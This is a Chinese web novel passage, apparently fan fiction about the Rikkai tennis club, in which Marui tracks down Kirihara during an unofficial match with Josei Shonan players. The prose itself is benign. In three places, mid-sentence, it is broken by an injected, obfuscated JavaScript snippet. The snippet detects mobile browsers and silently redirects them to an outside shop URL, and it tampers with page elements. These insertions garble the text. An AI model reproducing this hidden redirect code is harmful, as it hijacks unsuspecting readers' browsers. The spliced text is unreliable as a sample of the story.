那张明媚脸庞上满是游刃有余的从容,唇瓣轻轻张开,吹出一个又圆又薄的青绿色泡泡,艳丽的红色发丝在风中轻轻飘动。 柳莲二心想,要论对切原的关注,他们二年级的几人应该都算是不分伯仲。既将切原视为具备潜在威胁力的竞争对手,也对他成为下一代立海网球部的领军人物怀有期待。 “我们的要求很高,也希望你能在这里变得更加优秀。”面对新人,立海的前辈们都会这么说。 然而在具体如何关照这位学弟的作为上,每个人展现出自身鲜明的个性。 文太会主动上前表示关心,和切原打成一片。 杰克的心肠很软,也总是能被文太带动。 弦一郎将伴随着高期待的高要求展现得淋漓尽致,尽管他做不到表现亲近的柔软一面,却也极为看重切原的成长,经常忍不住去纠正对方莽撞的言行。 身为部长的精市对每一位新部员都公正地给予温柔笑容,但因为他实际是个很强势的人,作为部内的最强者和绝对领袖,他以自身的存在成为所有人的精神道标,站在一个不远不近的位置观望大家,从不迁就,不主动接近,哪怕嘴上安抚着心绪浮动的新生,说他对大家寄予厚望,心里其实想的应该是:“剩下的困难你们就自己想办法吧。”是鼓励大家自立自强派。 仁王通常不会主动招惹别人,但若留心观察切原偶尔几次撞到他手里的遭遇,似乎他对切原也怀有相当程度的兴趣。看似一直冷眼旁观,实则冷不防就会出手逗弄对方两下,忽远忽近难以预测,简直是如猫一般性情乖张的人。 真正站在隔岸观火位置的人应该是柳生。他每次与切原打交道时都秉持着过分彬彬有礼的绅士风度,始终优雅而耐心,在撞见切原犯错时,会以风纪委员的身份公正处置,也会冷静地在双方之间保持住一个体面的社交分寸,不似弦一郎那般容易焦急,总是喜怒不形于色,因而让人难以揣度他的内心,也不易真正接近。在柳莲二看来,柳生在待人处事上是距离感最遥远的一个。 至于他自己,柳莲二自认为他应该是处于真田弦一郎和幸村精市之间。既非积极指教,也非淡然观望,而是张弛有度地提供指引,很适合他的个性。 根据赛程,种子学校需要先后与三所学校对战并全部取胜,才能成功出线。没有人会怀疑立海能在前三场对决中取胜并终结赛事,包括立海自身。 在全国大赛以前,校队比赛的顺序是两盘双打为先,三盘单打在后。由于比赛采用五盘三胜制,很多学校将单打比赛视为关键决胜局,但在立海却不同。 在全胜通关的要求下,两场双打的选手和单打三选手自然不能失误。 “我们要通过前三盘的胜利直接拿下整场比赛。”柳莲二淡淡地说,“队伍的双打水平也必须毫无死角。” 丸井文太听见这话已经打算去做热身准备了,孰料他们的参谋接下来话锋一转,转向其他人道:“下一场双打二由真田和杰克,双打一由我和锦学长,单打三仁王。” “咦,那我呢?”他面露茫然,疑惑地指了指自己。 柳莲二笑了一下:“单打一。” “哈哈……听起来好威风啊。”文太微弱干笑了声,有些汗颜,想也知道自己能出场的机会微乎其微,这与其说是被赋予重任,倒更像被流放了。 柳莲二道:“文太你和仁王的应变能力是最优秀的,但考虑到正式比赛时可能出现各种意外情况,我希望大家能适应随机组合的双打模式,提升队员间的配合水平。” “好吧……我已经懒得问你到底准备了多少备用计划。”丸井文太耸了耸肩膀,倒也能理解参谋的良苦用心。 正式的团队赛中,各校最标准的阵容是安排两对专职双打的组合,加上单打队员按实力水准依次担任单打三到单打一的位置。 但就像很多年前立海意外失利的教训一样,排兵布阵也是一门学问。只要能在大胆尝试和不可轻敌之间把握好风险尺度,取胜手段还有很多,没必要总是那么古板地按照固定步骤答题。 相较于单打,双打更考验搭档间的配合默契和战术意识。倘若每次都派出相同的双打阵容,被对手刻意针对的可能性会大幅增加。 而且万一比赛期间出现意外状况,导致预定的双打组合无法正常参赛,为了未雨绸缪,救场的队员不能对双打一窍不通。 最好是每名正选都能够具备随机应变的协调性,使立海校队成为一个毫无死角的整体。 根据参谋的规划,所有人都必须周期性地在单打和双打位置中轮换出赛。这样的安排也解决了一个困扰——双打选手每次都能上场,单打选手却经常没比赛打。 当然了,也唯有立海这般强校才会有如此奢侈的烦恼。队友胜率太高,居然导致单打一和单打二的选手常年沦落到坐冷板凳的境地。 丸井文太和柳莲二闲聊的时间早就足够往返附近的自贩机几个来回,但眼看着立海第二场比赛即将开始,去买饮料的切原赤也却迟迟没回来,给他打了电话,也一直无人接听。 “好慢啊,他该不会是跑掉偷懒了吧,那混账小子。”文太以己度人,忍不住抱怨起来,“我吃零食吃得喉咙都干了,早知道就让杰克去了……” 附近的仁王听到他的牢骚,忽然轻笑一声,淡淡飘来一句:“他说不定是迷路了哦。” “太夸张了吧。”丸井文太不以为然地笑道,本想吐槽就那么几步路哪可能会迷路,可当他认真一想,笑容渐渐消失,手指抵着下颌,沉吟道,“等下啊,如果是切原的话……” 迷路的可能性还真挺大。文太嘴角抽了抽。他和仁王在识人方面虽然各有侧重,但得出的结论却经常精准得不相上下。这阵子的观察早就让他发现,学弟在网球和游戏以外的领域都表现得不太精明,集中力强的反面就是对不关心的事物过分漠视,导致切原时不时会在一些让人匪夷所思的细节上掉链子。 “piyo。”仁王似笑非笑地看着他的表情渐渐变得不妙,眉梢一挑,心照不宣地递去一个彼此都懂的眼神。 切原学弟方向感欠佳。仁王雅治在开学第一天就对此了然于心,还借此稍微捉弄了对方一下。 “唉,真没办法。天知道他跑哪里去了……” 杰克见文太十分苦恼,刚开口说“我去看看吧”,就被红发少年果断抬手回绝:“不行,杰克你等下就要出场了吧。” 丸井文太不喜欢做麻烦事,但他拎得清事情的轻重缓急,把切原叫去买饮料本来就是他的责任,不能因此耽误了杰克的比赛。 “幸村君,我稍微离开一会儿,去买饮料。”虽然排在单打一的自己大概率不用出场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864473|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但文太还是先上前跟幸村打了声招呼,然后临走前他又跟柳交代道,“如果切原先回来了,你就发消息给我。有事的话我也会联络你这边。” 把事情都交代好以后,他双手插进外套的衣兜,胳膊底下夹着球拍,朝着切原离开的方向走去。 最近的自贩机走路只要五分钟就能到,丸井文太找到位置,果不其然,切原赤也并不在这里。 “真是的,这么近还能走丢,路痴这种属性可不会让我觉得萌哦。”他轻轻叹了口气,从口袋里掏出一枚硬币,先买了一瓶草莓红茶,权当犒劳自己接下来找人的辛苦。 这个森林公园的面积不算太大,四面都有分布网球场。因为今天要举办赛事,大会方征用了四个场地作为比赛场地,另外四个则对社会公众开放。有些选手想在比赛前热身,也会去开放球场临时练习。 文太在心中慢慢盘算:照切原的性格,就算迷路了也只会到处乱跑,最有可能停留的地方应该是其他学校的比赛场地…… 就在他准备四处走走看看的时候,忽然注意到侧后方有人走来,同时一道视线格外鲜明地落在自己身上。 在熟人吗?丸井文太不慌不忙地喝了口饮料,在仰头的瞬间他装作不经意地调整了一下余光角度,鲜艳红发掩映下的紫色眼眸微微一动,视线扫过来人。 唔,不认识。 他把饮料瓶子握在掌心,转身正要离开,来人却直接开口喊住了他,语气还十分熟稔。 “好久不见了,立海的丸井。” 既然被叫到名字,就不能装作没看见对方了。丸井文太站住脚步,回过头:“嗯?你是谁?” “不记得我了吗?”对方有些无奈地耸了耸肩,露出一个自来熟的笑容,然后自我介绍道,“城成湘南的若人弘,我们半年前在新人战上见过面。” “哦……”丸井文太眨了眨眼睛,回想了一会儿,漫不经心地说,“可能有点印象吧,抱歉,我没记住名字。所以呢,这是来打招呼?” 我们应该没那么熟吧。这句话他虽没说出口,但潜台词几乎都写在了脸上,唇边带着礼貌却疏离的矜持笑容。 还是一如既往的立海式傲慢,只把看得上的对手放在眼里。 若人弘也不刻意套近乎,语气平静地说:“等我们赢了下一场比赛,就能与你们立海在决赛会面。无论输赢,我们都能拿到县大赛的参赛资格。” 丸井文太觉得他这番话说得有些意思,语气客气得像是要把决赛当成友谊赛。他不由挑了挑眉梢,吹出一个泡泡挡住脸孔,同时用探究的眼神瞄向对方,紫眸中藏着隐晦的审视。 “届时还请多指教……我是这么想的。不过——”若人弘口风一转,“你们学校的人,是一届比一届更目中无人吗?那个叫切原的,只有嘴上说话会装模作样地用上敬语,态度和行事都很嚣张啊。” 他话音刚落,空中便响起“啪”的一声,是文太不小心吹炸了他的口香糖泡泡。 没想到这么不费吹灰之力就得到了学弟的行踪。 丸井文太不动声色地看了这名城成湘南的选手一眼。 但是糟糕啊,听起来像是切原闯了什么祸啊。所以说…… “哦……那个啊。”他维持着一张看不出情绪的扑克脸,慢吞吞地把唇角沾到的口香糖舔回嘴里,努力用平稳的声调找补说,“也还好吧,我们部不怎么看重前后辈阶级,每个人的个性都表现得比较自由。”毕竟部长幸村君从一年级开始就已是大权独握的至高地位了。 体育竞技嘛,选手有意气风发的冲劲才更容易打出成绩。丸井文太觉得为人嚣张算不上什么缺点,立海的学长们也不会打压后辈这种血气方刚的天性。 不过,能到处树敌,就差把“对我开炮”写在脸上,从来都学不会什么叫不落人话柄的处事方针,这种家伙丸井文太还真就只见过这么一个。 还是没开窍啊。他无奈地微弯唇角。 笨蛋学弟太单纯不懂掩饰,长袖善舞的天才学长只好言辞委婉地帮忙打圆场,而后也不待若人弘回应,紧接着转移话题问:“对了,正好我有事找切原,你既然看到过他,方便给我指个方向吗?” 对方意味深长地看他一眼:“跟我来吧。” 45.File 44 扣锅 公园小道两侧的林木繁盛,树冠犹如浓云遮蔽天空,倒也稍稍减弱了日头的热度。丸井文太跟着若人弘来到附近一处未被征用的球场,视线才刚投到铁丝网内,他就看见一个扎着蓝色马尾的少年被地面弹起的网球砸中额头,狼狈地摔到场外。 “浩平!”观战席上,一个紫红短发的少年惊叫出声。他的面容与被他称作浩平的队友极为相似,看起来二人似乎是双生兄弟。 “40-0。” 球网另一边是立海网球部今年最受大家瞩目的混世小魔王,切原赤也把球拍扛到肩上,卷毛凌乱,身量不高却骄傲地扬起下颌,一脸欠揍的表情挑衅道:“喂喂,再有一球你就完败了啊,也太弱了吧?连我们立海平常训练的水准都达不到啊。” 虽说这客观上还算是个正确的评价,但切原自己似乎还没意识到由于柳对他的因材施教,从入部以来,他一直都独享着正选学长们的特殊关照,自认为是“平常”的训练强度已经高于普通部员好几个档次。 “你这家伙——!” 那对双子咬牙切齿,纷纷露出被他激怒的不忿表情。 丸井文太一眼扫过他们额上相似的红痕,就知道切原赤也的坏习惯发作,这明显是故意的。 他不动声色地皱起眉头,因为根据文太对他这学弟性情的了解,切原好胜心强,热衷挑战强者,对没有名气的选手一贯视若无物,打多了虐菜局还会发牢骚。只要别人不招惹他,他也不会平白惹是生非。 出门在外,当然是优先照顾自己人。丸井文太用他那视力2.0的眼睛仔细打量切原赤也,眼看着对方在球场上活力四射,脸上只有横行霸道的轻狂气焰,没有丝毫受人欺负的委屈,便冷静地嚼了嚼口香糖,吹出一个泡泡挡住露出思索表情的脸庞。 就在他和若人弘逐渐接近球场时,切原赤也在场上打出了他的绝技指节发球,以势不可当的劲头飞向对面。 网球在落地后以一个极其刁钻的角度侧旋飞出,他的对手压根反应不过来,只能眼睁睁看着弹起的球离自己越来越近,接着整个人倒飞出去,后背在地面滑行,扬起一片烟尘。 “浩平!” 对方的兄弟立刻跑进球场,扶起那人以后便用敢怒不敢言的目光望向切原赤也。他们的脸上都有相似的伤,是因绒面网球与脸庞接触的瞬间仍在高速旋转,破皮以后渗出了血痕。 那个发球的攻击性比外旋发球更胜一筹,由于在抛球瞬间就被手指施加了强力旋转,能在落地后以各种不规则的角度弹射起来,哪怕在立海网球部也是凶名赫赫,杀伤力极强。若非丸井文太拿手的半截击能在球路变化之前将球回击,是这类变化球的先天克星,也很难处理这个招式。 用打球解决争端总比打架好,成王败寇,胜负公平。运动系的男生从小就摔摔打打,一点皮肉伤算不上大事。何况被外校这么多人围着比赛的可是我们立海纯真可爱的一年级啊! 文太向来喜欢自家这个天赋奇高却不懂人情世故的新人,才不会乐意他们网球部的公用宠物受委屈,便果断地对双子的愤懑视而不见,心道城成湘南这位选手的水准一般,切原所擅长的这两种发球都能稳定得分,然而他没有选择平时常用的外旋发球,而是使出了更难操控的指节发球,可见是气急了才没留手。 ——所以究竟是发生了什么呢?他暗忖。 “哎呀,这是赛前找我们的学弟帮忙热身吗?” 尽管心里跟明镜似的敞亮,很快猜到双方定有隐情,才选择用私下比赛的方式解决矛盾,但丸井文太在停下脚步的时候,脸上仍故作不解地挑了挑眉梢,略带不悦地对若人弘说:“对一年级用车轮战也太卑鄙了吧!” 他将眉头微微蹙起,紫色眼眸谴责地凝望过来,一次眨眼过后,那因不满而微微抿起的唇瓣轻轻张开。 “你们该向他道歉啊。” 被他注视的人一时哑然。 多么颠倒黑白的一句话,却莫名其妙地让人感到难以反驳。 丸井文太天性随和,鲜少与人冲突,但这并不代表他在日常相处中会一味迁就忍让,与之相反,他总是能够让自己如愿以偿,甚至时常仗着自己极易获得他人好感的天赋尽兴玩闹,在别人所能包容和饶恕的边界内肆意发挥着自身的任性和孩子气,个中分寸的拿捏自然不全靠直觉,而是他情商极高的体现。 文太很清楚自己善于说服,而且,只要他想,他总能有意无意地让别人的心偏向自己。 运用恰到好处的表情、不着痕迹的语言艺术、讨人喜欢的外貌,以及某种他与生俱来、虽未明晰本质却已能如臂使指的特质。 若人弘在城成湘南也是被女生们吹捧惯了的人气选手,心高气傲,可当他面对丸井文太微微嗔怒的指责,竟完全生不起气来。 他转脸扶额,深深地叹了口气。 “虽然我们这样打确实不占理,但你是故意对比分和洋平浩平被打伤的事实视而不见吧……” “嗯?输给一年生难道是什么值得大肆宣扬的事吗?” 我这是在照顾你们的自尊心呢。丸井文太的潜台词未说出口,却能从他故作无辜的语气中展现分明。落在红发下方的紫眸不着痕迹地滑过一丝笑意,可对方哪怕是在恶劣地戳人痛处,也让人无法对他心生敌意。 “啊——又有人上场了!看吧,果然是车轮战吧!” 文太抬手指向场中接替败者上场的另一位城成湘南选手,挑高眉梢抱怨出声。 他认出对方正是先前在公园入口对着立海队伍犯傻的少年,看来是按捺不住,想向切原证明自己。 若人弘有些无语:“与其说是车轮战,不如说是你们学校那小鬼在单挑我们全队吧……” 他很想吐槽丸井文太这番话简直是恶人先告状,轻描淡写间便抢占了道德制高点,证据就是他只在嘴上说得义愤填膺,仿佛多为切原赤也的处境着急似的,实际上却一直待在场边没有挪动半步,始终气定神闲地看着学弟在场中大杀四方。 若人弘因去年有过教训,意识到双方段位差距悬殊,直觉自己真要争辩,恐怕也无法从丸井文太手下讨到好,便放弃地叹了口气,在红发少年装模作样的注视下将事件始末缓缓道来。 原来是他们城成湘南在第二轮淘汰赛结束之后遇到了切原赤也,立海的一年生正在自贩机的玻璃前寻觅前辈指名的饮料,恰好他们队的浩平和洋平二人也口渴,见他占着机器迟迟不走,便忍不住出言奚落。 若人弘没有详说他们发生冲突的细节,自家人知自家事,他队里那对双子是众所周知的毒舌,又仗着默契经常一左一右地互相接话,攻击力简直呈指数级飙升,有时连若人弘自己都得避其锋芒。 丸井文太静静倾听,他也很清楚切原赤也有多经不起别人挑衅,那小子本来就心思单纯,被人一惹怒,就更容易反应过激。要是文太在一边看着,倒是能手段百出地安抚住他的冲动脾气,如果放任切原一个人在外面,学弟惹祸的概率不要太大。 他们双方对视一眼,若人弘简要概括了切原嘲讽他们全队都是弱旅的话,又简要提了提双子嘲讽切原一个啦啦队的一年级就敢狐假虎威的言论,然后说明后来双方决定在没被征用的空球场一决高低,文太立刻心领神会,明白事态为何会发展到这步田地。 倘若切原赤也只是寻常的立海一年生,才加入网球部仅仅一个月,确实可能被城成湘南的双子说中,球技不算出众,但他作为立海全网球部都重点关注的超级新人,为人张狂,却也确实有张狂的本钱,很快就用压倒性的胜利证明了自己的实力。 于是浩平和洋平马上就尝到了有苦说不出的滋味。 切原赤也胆量非凡,张口便是挑战他们全员,面庞稚嫩的卷毛男孩脸上带着凌厉笑容,将手中球拍扛在肩膀,湖绿色的眼眸像冷血野兽般睥睨着摔在地上的对手,那居高临下的眼神让人莫名心生畏惧。 他身上的危险气息比那些最擅长用笑容粉饰傲慢的立海正选们更加露骨,天生带有一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870075|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野蛮生长的凶性。 但挑起争端的双子接连败在切原手下,还输得极为难看,对方俨然还在等待下一个对手登场,要是他们避而不战,这消息一旦传出去,城成湘南网球部怕是要沦为湘南地区的笑柄了。 若人弘在看到洋平败北的时候就皱了皱眉,他观察力敏锐,立刻意识到切原实力不凡,那对兄弟鲁莽树敌的行为简直是把队伍架在火上烤。 他不太想淌这滩浑水,于是悄然离开,恰巧发现了来找切原赤也的丸井文太。 虽然这么做不太厚道,但为了解开困局,若人弘决定稍微利用一下这名看起来善良得多的立海正选。 他假装随口抱怨切原态度狂妄,先入为主地在闲谈中营造出切原率先挑事的不良印象,以为这样就能让他这位学长在目睹场中局势后稍微阻止一下切原,不料丸井文太看起来友善又好说话,实则观察力细致入微,处事精明果决,心性冷静得超乎寻常,只看一眼就察觉到事情不对劲,四两拨千斤地把锅又扣了回去。 望着丸井文太那双天生偏大的漂亮眼眸,在耀眼的阳光下流转着锐利的光辉,紫色瞳孔仿佛能将他所有心思都尽收眼底。若人弘将真相和盘托出后,忍不住苦笑了一下,心说立海的人果然个个都不好惹。 “我听说你们立海只有正选,才允许和其他学校的选手比赛,是吧?”若人弘已经没招了,只能诚实说出自己的期望,“你还不阻止他吗?说实话,我真不想跟他打。” “嗯……确实有这么个不成文的规定。”丸井文太用手指挠了挠脸颊,“但那只是针对代表学校出战的正式赛,私下约战可不算哦。” 他可不像真田那么一板一眼,向来擅长变通,也格外通情达理。 不过再这么放任切原赤也打下去也不太像话,文太心想,且不说学弟还要耽误多久,他们立海的第二场淘汰赛应该很快就能打完,比赛结束后,双方参赛队员都要互相敬礼致谢,他得尽早归队才行。 除此之外,他要是放任非正选的切原,在地区预赛期间把其他学校的参赛选手都打败,影响对方后续的比赛状态,不仅对校队名声不好,最后也会显得他们胜之不武。 丸井文太心中这么盘算了一遍,心里已然有了主意,却故意在行动前睨了若人弘一眼。 “真没办法,算你欠我个人情啊。” 文太用很勉为其难的语气说,而后双手搭在脸颊旁,“喂——”的高喊了一声,接着叫出切原的名字。 “咦,丸井学长?” 球场上的切原赤也这才注意到了丸井文太正在附近,微微意外地转头看向他的方向。 “我说啊,只是让你买个饮料而已,怎么跑到这么远的地方来了?真是让我一通好找啊。”文太说,“你还在这里耽搁什么呢?快跟我回去,不然等下真田找过来我可不会帮你哦。” “不要啊,我这里正打到精彩的地方呢。”切原赤也很不情愿,“现在走掉岂不是像临阵脱逃?” “谁管你啊,我又不是没见过你哭着跑出球场的样子。” 丸井文太毫不客气地揭他的短,让前一秒还在得意忘形着大逞威风的切原赤也嘴角抽搐了一下。经验告诉他,这种时候听学长的话才有好果子吃,可叛逆的本性还是让他忍不住挣扎了一下:“不要嘛,学长,再让我打一盘吧。光看你们比赛也太无聊了。”说到最后已经完全是耍赖的语气,尾音拖得格外可爱。 这、这还是刚才那个球场上的修罗吗? 城成湘南众人亲眼目睹桀骜不驯的混世魔王三秒内变成幼稚小鬼,一个个几乎目瞪口呆。 然而丸井文太却若无其事地与切原赤也视线相对。 一秒、两秒、三秒……他精准拿捏住了对方心里渐渐沮丧的那一瞬间,眼帘微抬,唇角轻轻一勾。 “一盘不行,但可以给你个机会。”文太抬手,伸出前三根手指做出一个三的手势比在脸前,随即欢快地眨了眨眼睛,“速战速决,谁先拿下三球,就算谁胜利。” 46.File 45 三球 临近正午,日光普照,气温渐渐升了上来,连场外扰动树梢的风声都缠上了喧嚣的燥意。 “哼,净耍小聪明。” 切原赤也盘腿坐了一会儿,撑手从地上站起,接着按着肩膀活动了一下筋骨,收手时感觉到脸颊微微刺痛,他随意一抹,便看到手背沾了少许血迹。 他视线极不经意地扫过场外,红头发的小学长正目不转睛地盯着自己,那张时常笑得吊儿郎当的脸庞被口香糖泡泡遮掩了大半,仅从双眼实在难辨情绪,他又向来都不太擅长察言观色,实在捉摸不透对方在想什么。 但要是丸井学长的话,就算嘴上会说他两句,行动上也十有八九会选择袒护自己。 切原抬高手臂,用袖子擦了擦脸上的血痕,火辣辣的疼痛刺激着神经末梢,卷发男孩唇角轻扯,扬起一抹危险的笑容。 抬起脸的时候,他没注意到自己的双眼隐隐渗出一丝猩红的血色,太阳穴的血管突突跳动,用猛兽狩猎的冷冽眼神专注盯视骤然露出戒备神情的对手。 丸井文太提议“三球先胜”的决胜法以后,城成湘南那方也很快同意了这种对决方式。迎战切原赤也的对手名为神城玲治,是个眼神不善、又犹如机器人般木讷的高大少年,和他站在球网对面的样子犹如大人对战小孩,不过切原赤也凭着技高人胆大,丝毫不怵双方的体型差距,反而是信心满满地对球场外的丸井文太宣称马上就能解决对手。 文太笑骂他太吵了,别耽误时间,赶紧了事。 第一球由神城玲治开球,对方打出了一个平平无奇的发球,回球的水准也乏善可陈,没有什么出彩之处。 不过让文太意外的是切原并未立即采取他拿手的快攻打法,而是在接球之后表情逐渐疑惑,击球动作也带着古怪的凝滞感,仿佛难以掌控轻重力道,不多时就因回球出界而先失一分。 “哈哈,你不是说你马上就能解决的吗?” 观众席的双子立即出言嘲讽,切原露出不爽的表情,反手一个外旋发球直接拿下比分。他的球路凌厉非常,纵使神城及时躲避,脸颊还是留下一道擦痕。 那高大少年面无表情,一声不吭地走回底线。他无趣的反应让切原轻轻咂舌。 第三球还是由神城发出,切原此时已意识到对方的发球和回球都能以相同姿势完成击球,他难以在前场近距离交锋中预判来球的轻重与力道,可要让他为此就退守后场,反而像是怕了城成湘南那个大块头。 但就在他冲向网前之后,神城玲治眼中精光闪过,他将双手举在身前交叉,比出一个奇怪的姿势,在网球飞来的那一刻,丸井文太骤然吹破泡泡,“小心”二字刚脱口而出,便见对方的球拍飞快一闪,施加了古怪旋转的回球在半空不稳地晃动,同时急速袭向切原,最终在切原愣住时如飞刀般割破了他的面颊,球劲的冲击甚至将身量矮小的男孩掀翻在地。 以牙还牙,有两下子,比刚才的双子强。 场外的红发少年压低眉梢,眼珠轻轻辗转,将目光扫过对面沉默寡言的大块头。这家伙……意外的攻击性很强啊,像是不会吠叫就直接扑咬猎物的凶犬,是会隐瞒攻击意图的类型。 但出招前摇太长,击球时过度发力,导致动作僵直太久,后续破绽很大,属于背水一战的打法。在丸井文太看来,尽管这招在空中震动的球路非常唬人,其实速度远不如真田的“风”快,并不是切原无法处理的招式,只能说他压根没想过对手能打出这种质量的球。 文太暗暗评价,接着眼神瞄向切原,心说这一幕要是被真田看到,肯定要骂他太松懈了,轻敌成这样子确实不太像话。 眼下神城玲治凭他出其不意的技巧拿下两球,切原赤也通过发球得分拿下一球,从比分来看是对方的赛点,只要再失一分就宣告了切原的败北。 “三球先胜”是一种风险极高的决胜规则,因为网球并非纯粹的数值竞赛,也有利用头脑以弱胜强的例子,而且赛程越短越可能出现意外,一方大意翻车的情况并不罕见。 切原在前面的比赛中暴露了自己容易情绪化比赛的特点,结果被神城利用了信息差的优势和他独特的击球技术占得先机。 “神城是我们队最不简单的选手,教练华村老师对他寄予厚望……” 若人弘见状微微振奋,正要说你们立海不会一直如意,就听见丸井文太“哼”的低笑了一声,双手慢悠悠地插进口袋里,长睫垂下,在精致的脸庞落下一小片扇形的浅影。 “他已经没戏了。” 就在他话音落下那瞬间,切原赤也的发球落进对面球场,并弹向对手身后,“咣”的一声震响,将摇晃不止的铁丝网都砸得微微凹陷出去。 那是毫无花巧的一球,在双方存在悬殊身材差距的前提下,具备的却是远胜对手的速度和力量,而且比他此前的每一球都更加凶狠,威力大幅提升。 望向远处双目猩红的卷发男孩,若人弘颈后一时哑然,汗毛竖起。 这个立海一年级居然先前还未使出全力吗?! “那孩子……”在网球场的另一边入口,刚刚赶到现场的城成湘南教练忍不住目露讶色,将热切视线投向球场中央的切原赤也。 丸井文太不动声色,切原赤也这个特殊的红眼状态很像是漫画里的爆seed模式,一旦眼睛变红,他的集中力和爆发力都会出现阶跃式的提升,但行事也会比往常更加冲动,出手容易没轻没重。 上周柳莲二带他去校医院做了检查,结果说他的红眼睛不是什么疾病,而是因为体质特殊,会在情绪激动时肾上腺素加速分泌带动血压升高,身体进入亢奋状态。短时间这样的话没什么关系,但长时间如此还是容易对身体造成负担,所以平时应该强身健体,提高承受阈值,还要涵养心性,戒骄戒躁。 文太觉得凭切原的脾气,要时刻保持理智还是挺难的,日常时哄时逗地玩弄学弟,不知道多骗几次能不能让他学会冷静。 最后一球了,这球将决定一切。 神城玲治手握网球,面色凝重,他也注意到自己学校华村老师的出现,一边庆幸这关键一球的发球权属于自己,一边心想绝不能在憧憬的老师面前败北,他再度抬手交叉,摆出方才那记制胜球的架势。 只是他的决意很快就彻底破灭,神城出招以后还没来得及反应,就被切原的一记回球击中胸口,整个人倒飞出球场。 “什么嘛,我还以为你又要使出那个阴险的轻重球了。”切原赤也将球拍扛到肩上,恶劣地说,“可恶,竟敢害我出糗,打出那么逊的出界球……不过掌握不好力道也没关系,只要让回球落到你身上,那就百分百算是界内了。” 真是的,三球决胜竟然被他打成拉锯战,而且还丢了两分,这下回去不知道要被丸井学长给取笑几天才肯罢休啊啊。 切原赤也满腹牢骚,越想越是生气,竟然不顾自己已然得胜的事实,从口袋中掏出网球,指节微曲,抛上半空,泄愤似的全力打了出去。 此刻神城玲治还未站起,网球就已携着劲风冲向他的面庞。 “小心!”城成湘南的选手纷纷惊呼出声。 在那千钧一发之际,一支橙色球拍从半空探出,精彩地截住这威力十足的一球。 “我说你啊——” 鲜红的发梢在半空飞扬起来,丸井文太用无奈语气拖长声调,同时展臂挥拍,回球势如闪电,穿针一般经过切原的场区,精准压中底线弹飞出去。 随后不知何时走进球场的红发少年垂下球拍,越过球网并一手按住学弟的海带头狠狠揉乱:“别像是出去玩之后不想回家的小鬼一样耍赖皮,该跟我回去了。” 没看到对方的教练都来了吗?再闹下去可就不好收场了。 丸井文太顾虑地朝城成湘南那边瞄了一眼,发现对方的大美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872434|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师居然也正看向他们,还似乎不计前嫌地向自己微笑颔首。他怔了一瞬,怀着谨慎的心情向那位教练礼貌地点头致意,接着赶紧喊上切原赤也转身离开。 “等等我啊丸井学长……真是的,你又弄乱我精心打理的发型!” “什么?你什么时候有发型那种东西了?” “呃,学长你总是若无其事地说出一些好过分的话。” “这不怪我,是你总是对你的脑袋做出一些无用功的努力,奉劝你比起早已没救的外在还是多努力一下内在吧。” “才不是无用功呢!话说你刚才是不是又在拐弯抹角地嘲讽我?” “呵呵,谁知道呢。” 一高一低,两名身着明黄队服的立海少年从来时走过的林间小路离开,很快消失在城成湘南众人的视野中。 不愧是几乎将神奈川的好苗子一网打尽的立海大附属中学,每名选手都素质非凡。 那名年纪小一些的卷发学生集中力和爆发力都极强,球技也相当精湛,简直不像是一年级的水平,而他那位学长能及时洞察他出现疏漏的瞬间并精准攻击,压制住对方的气焰,更是展现出了极高水准的比赛素养,把握机会的能力和稳扎稳打的技术都无可挑剔。 华村老师惋惜地收回目光。 她喜欢雕琢人才,可惜立海的学生凝聚力太强,几乎没有被她挖走的可能。 待走到确保城成湘南众人都看不见他们身影的地方,丸井文太立即收起对外的护短姿态,抬起球拍揍了学弟一下。 “笨蛋,都跟你说过多少次了,比赛的时候别猛冲一气,要观察对手,至少要学会忍耐脾气啊?”他双手叉腰,恨铁不成钢道,“我说三球先胜是让你三球直接拿下,你倒是大方地把两分送给对手了,知道我刚才差点颜面扫地吗?” 切原赤也发出“哎哟”一声,自知理亏,扁了扁嘴。 “我知道错了啦——丸井学长你可千万别告诉真田副部长啊。”他皱起一张脸,这事要是被真田弦一郎知道了,自己回去能被加训到死。 丸井文太瞪了学弟一眼,他才更不想被连累加训,叹了口气,很干脆地摆摆手:“废话,我一点也不想丢人。” 话虽如此,切原赤也脸上的伤痕也还是在回去以后吸引了诸多学长的关注询问。他不太会说谎,嘴上一时卡壳,支支吾吾了半晌才用自己不小心摔倒的理由搪塞过去,然后遭到欺诈专家仁王雅治挑起眉梢的无情嘲笑,而丸井文太分明知晓个中内情,此刻非但以瞧好戏似的眼神旁观他手忙脚乱,还跟仁王一起同流合污地起哄污蔑他笨手笨脚,气得切原对这俩无良学长一阵咬牙切齿,却敢怒不敢言。 